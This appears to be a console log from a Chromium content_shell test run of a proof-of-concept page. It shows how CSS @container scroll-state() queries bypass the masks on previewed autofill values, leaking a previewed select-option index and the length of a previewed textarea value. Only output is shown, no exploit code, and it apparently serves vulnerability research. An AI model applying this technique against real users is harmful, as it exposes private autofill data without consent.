[13452:13462:0527/150932.649498:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[13452:13462:0527/150932.649790:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory
[13452:13462:0527/150932.649856:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory

DevTools listening on ws://127.0.0.1:37737/devtools/browser/5cd82f7e-18da-4c4e-8124-ba8d674f168e

(content_shell:13452): dbind-WARNING **: 15:09:32.673: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/104146510/at-spi/bus_20: No such file or directory
[13473:13473:0527/150932.674581:WARNING:media/gpu/vaapi/vaapi_wrapper.cc:1648] drmGetDevices2() has not found any devices
[13452:13452:0527/150932.710691:WARNING:device/bluetooth/dbus/bluez_dbus_manager.cc:209] Floss manager service not available, cannot set Floss enable/disable.
[13452:13452:0527/150932.828813:INFO:CONSOLE:66] "===========================================================", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.828936:INFO:CONSOLE:66] " Autofill-preview leak via @container scroll-state(...)", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.828984:INFO:CONSOLE:66] " ScrollStateQuerySnapshot reads PaintLayerScrollableArea", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.829015:INFO:CONSOLE:66] " directly, bypassing the SuggestedValue()/IsPreviewed()", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.829053:INFO:CONSOLE:66] " masks on Element::scrollTop/scrollHeight.", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.829086:INFO:CONSOLE:66] "===========================================================", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.829126:INFO:CONSOLE:66] "-- Part 1: <select size=2> listbox previewed-option index leak --", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.856655:INFO:CONSOLE:66] "[baseline]        sel.scrollTop=0  scroll-state(scrollable:top)=false", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150932.917743:INFO:CONSOLE:66] "[preview "o01"]  sel.scrollTop=0 (MASKED)  scroll-state(scrollable:top)=false", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.001072:INFO:CONSOLE:66] "[preview "o11"]  sel.scrollTop=0 (MASKED)  scroll-state(scrollable:top)=true  <-- BYPASS", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.017632:INFO:CONSOLE:66] "*** LEAK CONFIRMED: page distinguishes previewed option index ***", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.017674:INFO:CONSOLE:66] "-- Part 2: <textarea> previewed-value length leak --", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.051404:INFO:CONSOLE:66] "[baseline]        ta.scrollHeight=20  scroll-state(scrollable:bottom)=false", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.084396:INFO:CONSOLE:66] "[preview  3-line value]  ta.scrollHeight=15 (MASKED)  scroll-state(scrollable:bottom)=true  <-- BYPASS", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.467801:INFO:CONSOLE:66] "                          recovered max scroll offset = 25 px", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150933.534124:INFO:CONSOLE:66] "[preview 12-line value]  ta.scrollHeight=15 (MASKED)  scroll-state(scrollable:bottom)=true  <-- BYPASS", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.117477:INFO:CONSOLE:66] "                          recovered max scroll offset = 160 px", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.184198:INFO:CONSOLE:66] "[preview 30-line value]  ta.scrollHeight=15 (MASKED)  scroll-state(scrollable:bottom)=true  <-- BYPASS", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.835031:INFO:CONSOLE:66] "                          recovered max scroll offset = 430 px", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.867291:INFO:CONSOLE:66] "  masked scrollHeight constant across secrets: true", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.867331:INFO:CONSOLE:66] "  recovered max-offset increases with secret:  true", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.867367:INFO:CONSOLE:66] "*** LEAK CONFIRMED: page recovers length-proportional metric ***", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.867393:INFO:CONSOLE:66] "    despite scrollHeight/scrollTop masks returning constants.", source: http://127.0.0.1:18080/poc.html (66)
[13452:13452:0527/150934.867428:INFO:CONSOLE:66] "=== POC RESULT: SUCCESS ===", source: http://127.0.0.1:18080/poc.html (66)